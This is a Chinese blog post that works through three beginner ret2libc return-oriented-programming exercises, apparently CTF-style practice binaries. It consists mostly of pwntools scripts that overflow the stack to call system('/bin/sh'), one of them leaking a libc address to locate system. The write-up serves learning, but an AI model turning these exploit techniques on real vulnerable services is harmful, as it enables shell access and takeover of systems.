美文网首页
一.3_基本rop_ret2libc

一.3_基本rop_ret2libc

作者: Zero_0_0 | 来源:发表于2019-05-04 00:35 被阅读0次

    这个题比较多,我们通过脚本分析题(知道思路就Ok了)

    EXP_ret2libc1 (脚本就不变了,和自己脚本风格不一样,多看看大牛的脚本吧

    有/bin/sh 有system 我们利用ret地址,改为sysytem@plt,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容。

    #!/usr/bin/env python
    from pwn import *
    
    sh = process('./ret2libc1')
    
    binsh_addr = 0x8048720
    system_plt = 0x08048460
    payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
    sh.sendline(payload)
    
    sh.interactive()
    
    EXP_ret2libc2

    在没有/bin/sh的情况下,我们应该填写一个可以写入/bin/sh的地方

    ##!/usr/bin/env python
    from pwn import *
    
    sh = process('./ret2libc2')
    
    gets_plt = 0x08048460
    system_plt = 0x08048490
    pop_ebx = 0x0804843d
    buf2 = 0x804a080   #这是一个可以具有写入权限的地方
    payload = flat(  #构造写入/bin/sh的地方
        ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
    sh.sendline(payload)
    sh.sendline('/bin/sh')
    sh.interactive()
    
    EXP_ret2libc3

    说白了,就是泄露system的地址(在不知道libc的情况下,泄露还是有点难度的) 自己宛如一个智障 嘻嘻 这脚本没心看,有时间写个能看懂的!
    思路:

    泄露 __libc_start_main 地址
    获取 libc 版本
    获取 system 地址与 /bin/sh 的地址
    再次执行源程序
    触发栈溢出执行 system(‘/bin/sh’)
    
    #!/usr/bin/env python
    from pwn import *
    from LibcSearcher import LibcSearcher
    sh = process('./ret2libc3')
    
    ret2libc3 = ELF('./ret2libc3')
    
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    main = ret2libc3.symbols['main']
    
    print "leak libc_start_main_got addr and return to main again"
    payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
    sh.sendlineafter('Can you find it !?', payload)
    
    print "get the related addr"
    libc_start_main_addr = u32(sh.recv()[0:4])
    libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
    libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
    system_addr = libcbase + libc.dump('system')
    binsh_addr = libcbase + libc.dump('str_bin_sh')
    
    print "get shell"
    payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
    sh.sendline(payload)
    
    sh.interactive()
    

    相关文章

      网友评论

          本文标题:一.3_基本rop_ret2libc

          本文链接:https://www.haomeiwen.com/subject/uzytoqtx.html